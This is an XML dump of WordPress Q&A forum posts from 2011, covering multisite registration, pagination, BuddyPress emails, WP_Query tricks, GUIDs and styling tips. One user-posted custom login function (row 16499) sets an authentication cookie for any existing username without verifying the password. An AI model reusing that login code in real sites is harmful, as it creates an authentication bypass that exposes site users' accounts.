  <row Id="16491" PostTypeId="2" ParentId="16486" CreationDate="2011-05-05T22:58:24.160" Score="1" ViewCount="" Body="&lt;p&gt;you need to visit this page &lt;a href=&quot;http://www.yourdomain.com/wp-admin/network/settings.php&quot; rel=&quot;nofollow&quot;&gt;http://www.yourdomain.com/wp-admin/network/settings.php&lt;/a&gt; and about halfway down in the Registration Settings area fine this &quot;Add New Users&quot; and make sure it is checked.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-05T22:58:24.160" />
  <row Id="16492" PostTypeId="1" CreationDate="2011-05-05T23:21:50.460" Score="0" ViewCount="36" Body="&lt;p&gt;I'm running a custom loop and appending GET vars to the end of it. My URLs look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.website.com/profile/page/2/?category=39&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/profile/page/2/?category=39&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My pagination show up fine. When I'm on page/2 and try to click the next page, it just jumps back to page 2 every time. My hunch is that the variables on the end of the URL are messing up the WP-PageNaiv plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what my query_posts called looks like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array ( 'post__in' =&amp;gt; $poststoquery, 'posts_per_page' =&amp;gt; 9, 'orderby' =&amp;gt; 'title', 'paged' =&amp;gt; get_query_var('paged') ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you not use query_posts with pagination? Or perhaps I need to run wp_query_posts(), and then reset the loop? Any insights would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="3379" LastActivityDate="2011-05-05T23:21:50.460" Title="Does WP_PageNavi Work with GET vars?" Tags="&lt;pagination&gt;&lt;plugin-wp-pagenavi&gt;" />
  <row Id="16493" PostTypeId="2" ParentId="16486" CreationDate="2011-05-05T23:23:58.663" Score="0" ViewCount="" Body="&lt;p&gt;To follow up to xLRDxREVENGEx's answer, here's a screenshot of the checkbox you need to check in the network admin section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fJWyc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-05T23:23:58.663" CommentCount="2" />
  <row Id="16494" PostTypeId="2" ParentId="16483" CreationDate="2011-05-05T23:58:06.360" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array('taxonomy' =&amp;gt; 'wpsc_product_category', 'orderby' =&amp;gt; 'ID', 'order' =&amp;gt; 'ASC');&#xA;wp_list_categories( $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-05T23:58:06.360" />
  <row Id="16495" PostTypeId="1" CreationDate="2011-05-06T00:14:37.620" Score="0" ViewCount="168" Body="&lt;p&gt;I am running a Buddypress site, but I am not getting emails when a new subscriber registers. I have used a code in my functions.php that removes the activation email the user would receive (I want them auto activated and I am using a mailchimp auto responder to contact them upon registering instead). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see where this code would disable the email that I should receive when they register, but I am a very novice wordpress user. Can anyone see something that I can change to allow me (the admin) to be notified when a user registers, but not send an activation email to the user?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function disable_validation( $user_id ) {&#xA;  global $wpdb;&#xA;  $wpdb-&amp;gt;query( $wpdb-&amp;gt;prepare( &quot;UPDATE $wpdb-&amp;gt;users SET user_status = 0 WHERE ID=%d&quot;, $user_id ) );&#xA;}&#xA;add_action( 'bp_core_signup_user', 'disable_validation' );&#xA;function fix_signup_form_validation_text() {&#xA;  return false;&#xA;}&#xA;add_filter( 'bp_registration_needs_activation', 'fix_signup_form_validation_text' );&#xA;&#xA;function disable_activation_email() {&#xA;return false;&#xA;}&#xA;&#xA;add_filter( 'bp_core_signup_send_activation_key', 'disable_activation_email' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-05-06T00:14:37.620" Title="Buddypress send admin notification email when new subscriber registers" Tags="&lt;admin&gt;&lt;buddypress&gt;&lt;email&gt;&lt;activation&gt;" CommentCount="1" />
  <row Id="16496" PostTypeId="1" AcceptedAnswerId="16497" CreationDate="2011-05-06T00:14:49.413" Score="0" ViewCount="66" Body="&lt;p&gt;My apologies if this question has already been asked somewhere else, I searched but couldn't find anything. I am working on a tours website, there will be individual package pages that show some text, images and some other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right hand side of my single package pages I have a comparison table which is merely a custom WP_Query pulling out all packages from the database using the following code:                         &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Package fetching arguments&#xA;$pargs = array(&#xA;    &quot;numberposts&quot; =&amp;gt; -1,&#xA;    &quot;post_status&quot; =&amp;gt; &quot;publish&quot;,&#xA;    &quot;post_type&quot; =&amp;gt; &quot;packages&quot;,&#xA;);&#xA;&#xA;// Get out packages&#xA;$cpackages = new WP_Query($pargs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I however would like the first item of this comparison table to be the current package the visitor is viewing. Say for example the user is viewing a package called &quot;Tour A&quot; on the right hand side I would like to pull out all packages but make sure that Tour A is at the beginning and highlighted then the other posts displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into sticky posts, but they don't really apply to what I am wanting to do, because if someone is on Tour B, then it needs to be displayed first in the comparison table and then so on.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-05-06T00:21:41.300" Title="How Can I Always Display A Particular Post First Using WP_Query?" Tags="&lt;posts&gt;&lt;database&gt;&lt;wp-query&gt;&lt;customization&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="16497" PostTypeId="2" ParentId="16496" CreationDate="2011-05-06T00:21:41.300" Score="1" ViewCount="" Body="&lt;p&gt;Loop over the &lt;code&gt;$cpackages&lt;/code&gt; results twice, and &lt;code&gt;rewind_posts()&lt;/code&gt; in between. first time only output when the id matches the current post id, then skip that id the second time through.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-06T00:21:41.300" CommentCount="1" />
  <row Id="16498" PostTypeId="1" AcceptedAnswerId="17129" CreationDate="2011-05-06T00:29:07.970" Score="0" ViewCount="223" Body="&lt;p&gt;I have the plugin CustomPress from wpmudev. I know longer have my membership there as it was just to pricey. I am also using there theme wpmu_dixi with some of my own customizations and tweaks. None of those tweaks where to its cor files i just added some new widget locations and messed with the css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways when i go to add a menu item from the custom taxonomy (ie action) which is under the taxonomy type Movies it spits out the following error in the custom menu area (wp-admin/nav-menus.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Catchable fatal error: Object of class WP_Error could not be converted to string&#xA;path-to-site/entertain/wp-admin/includes/nav-menu.php on line 73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*i removed out my path&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using wordpress in network mode and have tried creating a tag that was far off and still nothing. The tag action appears on another sub-site but since i tried using a random tag this should not be the problem. I have searched on a few articles and the closest i could find is this one &lt;a href=&quot;http://premium.wpmudev.org/forums/topic/custompress-error-adding-custom-post-type-via-taxonomies-to-menu&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/forums/topic/custompress-error-adding-custom-post-type-via-taxonomies-to-menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-13T07:00:57.400" Title="Error when adding custom taxonomy to wp nav menu" Tags="&lt;custom-taxonomy&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="16499" PostTypeId="1" CreationDate="2011-05-06T01:03:42.713" Score="0" ViewCount="81" Body="&lt;p&gt;How to create Custom Login in Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for illustration I Learn to Create Form Login and Check in Template Function &lt;br/&gt;&#xA;if any error...Show Error in Page &lt;br/&gt;&#xA;and If Success can login to redirect page&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;I Have modified my form like This :&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if(defined('LOGIN_ERROR'))&#xA;    foreach(unserialize(LOGIN_ERROR) as $error)&#xA;      echo &quot;&amp;lt;p class='error'&amp;gt;&quot; . &quot;$error&quot; . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;       &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo add_query_arg('do', 'login', home_url('/login')); ?&amp;gt;&quot; id=&quot;daftarform&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;user_login&quot;&amp;gt;&amp;lt;?php _e('Username'); ?&amp;gt; &amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;user&quot; value=&quot;&quot; size=&quot;20&quot; id=&quot;user&quot; tabindex=&quot;101&quot; class=&quot;required&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;user_email&quot;&amp;gt;&amp;lt;?php _e('Password'); ?&amp;gt; &amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;password&quot; name=&quot;pwd&quot; value=&quot;&quot; size=&quot;25&quot; id=&quot;pwd&quot; tabindex=&quot;102&quot; class=&quot;required&quot;/&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;user-submit&quot; value=&quot;Login&quot; class=&quot;tombol&quot; tabindex=&quot;103&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Code in my Function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;**&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'login_member');&#xA;&#xA;function login_member(){&#xA;    global $wpdb;&#xA; if(isset($_GET['do']) &amp;amp;&amp;amp; $_GET['do'] == 'login'):&#xA;    $errors = array();&#xA;    if(empty($_POST['user']) || empty($_POST['pwd'])) $errors[] = 'Username or Password not filled...';&#xA;&#xA;    $user_login = esc_attr($_POST['user']);&#xA;    $user_pwd = esc_attr($_POST['pwd']);  &#xA;    $user_exists = false;&#xA;&#xA;   if ( username_exists( $user_login ) ){&#xA;        $user_exists = true;&#xA;        $user_data = get_userdatabylogin($user_login);&#xA;    } else {&#xA;        $error[] = 'Username Not Register ...!';&#xA;    }&#xA;&#xA;    $sanitized_user_login = sanitize_user($user_data);&#xA;&#xA;    if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = ' Username Wrong Formated...';&#xA;&#xA;    if(empty($cekpwd)) $errors[] = 'Password Empty...';&#xA;&#xA;    if(empty($errors)):&#xA;        $user_id = $user_data-&amp;gt;ID;&#xA;        wp_set_current_user($user_id, $sanitized_user_login);&#xA;        wp_set_auth_cookie($user_id);&#xA;        do_action('wp_login', $sanitized_user_login);&#xA;        wp_redirect( 'http://mydomain.com/member', 301 ); exit;&#xA;    else:&#xA;        define('LOGIN_ERROR', serialize($errors)); &#xA;        wp_redirect( 'http://mydomain.com/login', 301 ); exit;&#xA;    endif;&#xA;&#xA;  endif;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PLEASE ... HELP ME...&lt;br/&gt;&#xA;For a detailed answer I am very grateful !!!&lt;/p&gt;&#xA;" OwnerUserId="4498" LastEditorUserId="4498" LastEditorDisplayName="" LastEditDate="2011-05-06T08:14:19.823" LastActivityDate="2011-05-06T08:14:19.823" Title="Check Login in Template Function" Tags="&lt;functions&gt;&lt;customization&gt;&lt;login&gt;" />
  <row Id="16500" PostTypeId="2" ParentId="16471" CreationDate="2011-05-06T02:11:12.853" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to @Ktash over at doctype.com for the solution: &lt;code&gt;.bgstretcher, .bgstretcher ul, .bgstretcher li {&#xA;    list-style: none;&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2011-05-06T02:11:12.853" />
  <row Id="16501" PostTypeId="1" AcceptedAnswerId="16505" CreationDate="2011-05-06T03:49:01.810" Score="0" ViewCount="67" Body="&lt;p&gt;Can someone recommend me a nice countdown widget plugin for Wordpress?&#xA;I've been using the Countdown widget under Blogger and it's exactly what I need. A simple number from now until date or from date.&#xA;I can't seem to find a very simple, easy countdown that does the same thing in Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="5100" LastActivityDate="2011-05-06T05:15:56.977" Title="Countdown Widget" Tags="&lt;widgets&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16502" PostTypeId="1" CreationDate="2011-05-06T04:35:48.133" Score="0" ViewCount="50" Body="&lt;p&gt;After upgrading to WP 3.1.2 + MultiPostThumbnails 0.5 the plugin stopped working. Even though it says it supports 3.1.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did any of you experienced problems with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funcitons&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (class_exists('MultiPostThumbnails')) {&#xA;    $types = array('post', 'page', 'my_post_type');&#xA;    foreach($types as $type) {&#xA;        $thumb = new MultiPostThumbnails(array(&#xA;            'label' =&amp;gt; 'Secondary Image',&#xA;            'id' =&amp;gt; 'secondary-image',&#xA;            'post_type' =&amp;gt; $type&#xA;            )&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;post.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if (class_exists('MultiPostThumbnails')  &amp;amp;&amp;amp; MultiPostThumbnails::has_post_thumbnail('post', 'secondary-image')) :&#xA;MultiPostThumbnails::the_post_thumbnail('post', 'secondary-image', NULL,  'post-secondary-image-thumbnail');&#xA;endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-05-06T04:35:48.133" Title="MultiPostThumbnails stopped working" Tags="&lt;plugins&gt;&lt;3.1&gt;" FavoriteCount="1" />
  <row Id="16503" PostTypeId="1" AcceptedAnswerId="16542" CreationDate="2011-05-06T04:39:50.373" Score="1" ViewCount="69" Body="&lt;p&gt;How to create a blog in a sibling directory of an already installed WordPress  directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain is &lt;code&gt;example.com&lt;/code&gt; and there is an existing installation in &lt;code&gt;blog&lt;/code&gt; directory and the root directory at &lt;code&gt;example.com/&lt;/code&gt; is free. Is it possible to create a blog at &lt;code&gt;example.com/anotherblog/&lt;/code&gt; through multisite instead of &lt;code&gt;example.com/blog/anotherblog/&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a new installation at the root this can be achieved by simply installing WordPress at the root and having two multisite blogs in two directories. However, that is total of 3 blogs(including the one at the root). Can the same be achieved without the 3rd blog and keep the root free?&lt;/p&gt;&#xA;" OwnerUserId="5123" LastActivityDate="2011-06-05T14:57:58.977" Title="Multisite installation on an existing single installation" Tags="&lt;multisite&gt;&lt;network&gt;&lt;installation&gt;&lt;subdirectories&gt;" AnswerCount="1" />
  <row Id="16504" PostTypeId="1" AcceptedAnswerId="16563" CreationDate="2011-05-06T04:56:32.187" Score="0" ViewCount="131" Body="&lt;p&gt;I'd like to display 9 posts and be able to insert a sticky post with its custom html template in between 4th &amp;amp; 5th post. Currently the sticky post gets displayed in both the &quot;sticky container&quot; and regular posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    have_posts()) : $my_query-&gt;the_post();&#xA;    ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($count &amp;lt;= 9 ){ ;?&amp;gt;&#xA;&#xA;    &amp;lt;article&amp;gt;&#xA;      &amp;lt;?php echo get_the_content(); ?&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($count == 3) {&#xA;        $sticky = get_option('sticky_posts');&#xA;        $args = array(&#xA;            'posts_per_page' =&amp;gt; 1,&#xA;            'post__in'  =&amp;gt; $sticky,&#xA;            'ignore_sticky_posts' =&amp;gt; 1&#xA;        );&#xA;        query_posts($args);&#xA;&#xA;        if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;            if($sticky[0]) { ?&amp;gt; &#xA;              &amp;lt;article&amp;gt;&#xA;                &amp;lt;h1&amp;gt;CUSTOM HTML&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;?php echo get_the_content(); ?&amp;gt;&#xA;              &amp;lt;/article&amp;gt;&#xA;            &amp;lt;?php&#xA;            } &#xA;            endwhile; else:&#xA;        endif;&#xA;        wp_reset_query();&#xA;&#xA;    }?&amp;gt;&#xA;&amp;lt;?php } $count++; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-05-06T18:32:09.190" Title="How to display sticky post with custom html" Tags="&lt;sticky-post&gt;" AnswerCount="2" />
  <row Id="16505" PostTypeId="2" ParentId="16501" CreationDate="2011-05-06T05:15:56.977" Score="1" ViewCount="" Body="&lt;p&gt;Yes, there's a great widget called the &lt;a href=&quot;http://wordpress.org/extend/plugins/jquery-t-countdown-widget/screenshots/&quot; rel=&quot;nofollow&quot;&gt;jQuery T-Minus Countdown Widget&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2011-05-06T05:15:56.977" CommentCount="1" />
  <row Id="16506" PostTypeId="2" ParentId="1459" CreationDate="2011-05-06T05:19:38.063" Score="1" ViewCount="" Body="&lt;p&gt;1.) GUID's in WordPress primarily exist for RSS readers. They are supposed to be unique identifiers so RSS feeds don't republish the same content over and over again. They are not designed to be used within WordPress posts or pages. Even though they may look like permalinks, they aren't and should never be confused with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, the URL part of the GUID should never be changed. If you change domains the GUID shouldn't be updated. The feeds have gone out under the old domain, not the new one, so changing the URI in the database will just annoy your readers, who will see old content being churned out all over again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Images can be made root-relative by editing the path when you insert them. If you need to change old images, backup your database and grab the Search Regex plugin. Searching in content for scr should show all the images used in your content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For best performance cross-browser its wise to set base href in your .htaccess file to your site root if you are using relative links. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-06T05:19:38.063" />
  <row Id="16507" PostTypeId="2" ParentId="10138" CreationDate="2011-05-06T05:37:08.930" Score="0" ViewCount="" Body="&lt;p&gt;This function should be put into your theme's &lt;code&gt;functions.php&lt;/code&gt;. It will make all permalinks relative. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// make root relative&#xA;function make_href_root_relative($input) {&#xA;    return preg_replace('!http(s)?://' . $_SERVER['SERVER_NAME'] . '/!', '/', $input);&#xA;}&#xA;function root_relative_permalinks($input) {&#xA;    return make_href_root_relative($input);&#xA;}&#xA;add_filter( 'the_permalink', 'root_relative_permalinks' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Images in content should use absolute links &lt;em&gt;IF&lt;/em&gt; those images go out to feed readers. If images use relative links the feed readers try to load the images from their own domains. &#xA;There is a small performance hit in using relative links to images too. It doesn't appear to make any difference with the relative permalinks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some servers, you may need to add base href with your site root to ensure links work as expected. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T14:27:59.333" LastActivityDate="2011-05-10T14:27:59.333" />
  <row Id="16508" PostTypeId="2" ParentId="11248" CreationDate="2011-05-06T05:44:45.240" Score="0" ViewCount="" Body="&lt;p&gt;For what it's worth you might want to have a look at one other plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/gpress/&quot; rel=&quot;nofollow&quot;&gt;gPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a great experience on their support forums as well. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2011-05-06T05:44:45.240" />
  <row Id="16509" PostTypeId="2" ParentId="14307" CreationDate="2011-05-06T05:46:05.283" Score="1" ViewCount="" Body="&lt;p&gt;The GUID exists as a unique identifier for feeds. Feed readers need this in order to cache feeds and not keep repeating the same content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not safe to give a GUID of http://domain/?p=[n] where [n] equals any number because when new content is created (including auto saves) WordPress assigns a GUID. If your GUID's don't follow the WordPress structure you will get collisions and duplicate GUID's can really mess up your feeds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With WordPress, the GUID is &lt;a href=&quot;http://example.com/?p=&quot; rel=&quot;nofollow&quot;&gt;http://example.com/?p=&lt;/a&gt; (for posts) or ?page_id= (for pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This SQL is an example of how to update published posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `wp_posts` SET `guid`= concat('http://example.com/?p=',ID) WHERE   `post_status` = 'publish' AND `post_type` = 'post';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By using ID you are doing the same thing WordPress does. WordPress won't ever give duplicate post_id's so its safe to use. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-06T05:46:05.283" CommentCount="4" />
  <row Id="16510" PostTypeId="2" ParentId="15772" CreationDate="2011-05-06T06:07:53.523" Score="1" ViewCount="" Body="&lt;p&gt;You could have used the Search Regex plugin to search for the image tags and replace the URL with your new URL. However, now that you have manually edited the XML you will want to pull the images into the media manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin, Add From Server, searches for images that are not already in the image manager and adds them. This makes them usable from the media manager just like the other images you upload directly into WordPress. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-06T06:07:53.523" />
  <row Id="16511" PostTypeId="2" ParentId="15993" CreationDate="2011-05-06T06:24:41.797" Score="0" ViewCount="" Body="&lt;p&gt;OK this is easy!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First up like people have said the best, cleanest, and easiest way is to use css3 border-radius. This works in most modern browsers, except the typical IE6-8 which has no support...although IE9 will do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.round {&#xA;    -webkit-border-radius: 10px;&#xA;    -moz-border-radius: 10px;&#xA;    border-radius: 10px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SO if you are like me and your clients all use IE then I'd recommend CSS3 Pie as above &lt;a href=&quot;http://css3pie.com/&quot; rel=&quot;nofollow&quot;&gt;http://css3pie.com/&lt;/a&gt;. The only drawback is it messes with z-index of images so if you're using a slider which fades you may get issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't fancy using CSS3 Pie I'd recommend &lt;a href=&quot;http://jquery.malsup.com/corner/&quot; rel=&quot;nofollow&quot;&gt;http://jquery.malsup.com/corner/&lt;/a&gt;. You simply link it in your header, along with jQuery and use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;        $(function(){&#xA;        $('.round').corner();&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It picks up the CSS3 declaration and for any browser that doesn't support it, it renders the rounded corners via jquery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We recently used both these on a clients website here: &lt;a href=&quot;http://www.theathenaprogramme.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://www.theathenaprogramme.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job done :-) Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Just noticed you need this to be done before the image is saved via media.php. Think my solution isn't applicable in this case. &lt;/p&gt;&#xA;" OwnerUserId="912" LastEditorUserId="912" LastEditorDisplayName="" LastEditDate="2011-05-06T08:04:04.380" LastActivityDate="2011-05-06T08:04:04.380" />
  <row Id="16512" PostTypeId="2" ParentId="12059" CreationDate="2011-05-06T06:32:16.117" Score="1" ViewCount="" Body="&lt;p&gt;Just FYI... WordPress 3.2 includes an updated TinyMCE which allows HTML5 tags. It's still under development but is fairly stable if you want to take the risk of running it now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is to write any posts requiring the  tag with the visual editor turned off. As long as you don't turn the editor on again on that same post the tags will stay there. Just turn the editor on once you have navigated away from that post in admin. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-06T06:32:16.117" />
  <row Id="16514" PostTypeId="1" CreationDate="2011-05-06T07:27:26.457" Score="2" ViewCount="59" Body="&lt;p&gt;In my new custom theme I want my user to be able to add a 'customer testimony'. All I need for each entry is a plain text area for the content of the testimony and a text input for the author of the testimony (i.e. who said it). My question is what would you use to create this custom post type or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial endeavour was to create a custom post type but without any of the normal fields. This has meant that in the column list view there is no way to link through to edit the entry as I am not using 'title'. This makes me think that I shouldn't be using custom post types for this. So should I be using creating a plugin that creates it's own database or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;&#xA;Okay could I ask for a little more help. I have put this into my save_post action: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`$my_post = array();&#xA; $my_post['ID'] = $post-&amp;gt;ID;&#xA; $my_post['post_title'] = $_POST[&quot;testimony_author&quot;];&#xA; wp_update_post( $my_post );`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it does make the changes to the post in the database but stalls when you actually click save on the page. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5158" LastEditorUserId="5158" LastEditorDisplayName="" LastEditDate="2011-05-06T11:44:12.943" LastActivityDate="2011-07-06T04:34:40.800" Title="Should I use Custom Post Types or something else" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="16515" PostTypeId="2" ParentId="16514" CreationDate="2011-05-06T07:40:20.743" Score="0" ViewCount="" Body="&lt;p&gt;Just enable the title - you don't need to display it.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-06T07:40:20.743" CommentCount="5" />
  <row Id="16516" PostTypeId="1" AcceptedAnswerId="16529" CreationDate="2011-05-06T08:04:13.613" Score="1" ViewCount="100" Body="&lt;p&gt;I have the following query, what it does is get a list of &quot;Books&quot; (custom post type). This list is displayed on a page which also has a small form with a dropdown populated with the terms of &quot;Editors&quot; (custom taxonomy). When a user chooses an &quot;Editor&quot;, it reloads the page and the query returns the corresponding &quot;Books&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Taxonomy query&#xA;$tax_query = array('relation' =&amp;gt; 'AND');&#xA;if($_POST['editor']) array_push($tax_query,array('taxonomy' =&amp;gt; 't_editor','terms' =&amp;gt; array($_POST['editor']),'field' =&amp;gt; 'slug'));&#xA;&#xA;// Pagination&#xA;if($_POST['reset_pagination'] || !get_query_var('paged')){&#xA;    $paged = 1;&#xA;}else if (get_query_var('paged')) {&#xA;    $paged = get_query_var('paged');&#xA;}&#xA;&#xA;// Query&#xA;$myquery = array(&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'books',&#xA;    'orderby' =&amp;gt; 'title',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'tax_query' =&amp;gt; $tax_query,&#xA;    'paged' =&amp;gt; $paged&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As there are many many &quot;Books&quot;, I use pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem. Lets say I'm on the general list (non-filtered by &quot;Editor&quot;), I have 200 results, with a pagination of ten per page. Let's say I browse until page 8. Then, if I decide to filter my choice by &quot;Editor&quot;, the page reloads and displays only those results. The problem is that as I was on page 8, my URL has /page/8/ attached to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found how to reset &quot;paged&quot; to 1 after a filtering has been made (with a hidden &quot;reset_pagination&quot; field on the form), it works and I have the results of page 1 after a filtering, BUT in the URL the pagination (/page/8/) 